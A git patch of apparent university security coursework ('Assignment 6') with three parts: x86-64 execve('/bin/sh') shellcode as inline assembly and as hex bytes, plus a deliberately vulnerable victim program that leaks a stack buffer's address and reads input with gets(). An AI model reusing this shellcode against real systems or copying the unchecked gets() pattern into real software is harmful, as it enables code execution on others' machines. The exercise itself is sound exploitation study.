From 5d6c89bf421cd044dff8d9f653e77972f8161403 Mon Sep 17 00:00:00 2001 From: Camil Staps Date: Wed, 13 Jan 2016 15:57:36 +0100 Subject: Assignment 6 --- CamilStaps-s4498062-Assignment-6/a.out | Bin 0 -> 6704 bytes CamilStaps-s4498062-Assignment-6/shell.c | 14 ++++++++++++++ CamilStaps-s4498062-Assignment-6/shellcode | 2 ++ CamilStaps-s4498062-Assignment-6/victim | Bin 0 -> 7048 bytes CamilStaps-s4498062-Assignment-6/victim.c | 12 ++++++++++++ 5 files changed, 28 insertions(+) create mode 100755 CamilStaps-s4498062-Assignment-6/a.out create mode 100644 CamilStaps-s4498062-Assignment-6/shell.c create mode 100644 CamilStaps-s4498062-Assignment-6/shellcode create mode 100755 CamilStaps-s4498062-Assignment-6/victim create mode 100644 CamilStaps-s4498062-Assignment-6/victim.c (limited to 'CamilStaps-s4498062-Assignment-6') diff --git a/CamilStaps-s4498062-Assignment-6/a.out b/CamilStaps-s4498062-Assignment-6/a.out new file mode 100755 index 0000000..8eec823 Binary files /dev/null and b/CamilStaps-s4498062-Assignment-6/a.out differ diff --git a/CamilStaps-s4498062-Assignment-6/shell.c b/CamilStaps-s4498062-Assignment-6/shell.c new file mode 100644 index 0000000..6d12e02 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/shell.c @@ -0,0 +1,14 @@ +int main() { + asm("\ +needle0: jmp there\n\ +here: pop %rdi\n\ + xor %rax, %rax\n\ + movb $0x3b, %al\n\ + xor %rsi, %rsi\n\ + xor %rdx, %rdx\n\ + syscall\n\ +there: call here\n\ +.string \"/bin/sh\"\n\ +needle1: .octa 0xdeadbeef\n\ + "); +} diff --git a/CamilStaps-s4498062-Assignment-6/shellcode b/CamilStaps-s4498062-Assignment-6/shellcode new file mode 100644 index 0000000..6cc4c29 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/shellcode @@ -0,0 +1,2 @@ +eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef +bead diff --git a/CamilStaps-s4498062-Assignment-6/victim b/CamilStaps-s4498062-Assignment-6/victim new file mode 100755 index 0000000..e874655 Binary files /dev/null and b/CamilStaps-s4498062-Assignment-6/victim differ diff --git a/CamilStaps-s4498062-Assignment-6/victim.c b/CamilStaps-s4498062-Assignment-6/victim.c new file mode 100644 index 0000000..4985bfa --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/victim.c @@ -0,0 +1,12 @@ +#include + +int main(void) +{ + char name[256]; + printf("%p\n",&name); + puts("What’s your name?"); + gets(name); + printf("Hello, %s!\n", name); + return 0; +} + -- cgit v1.2.3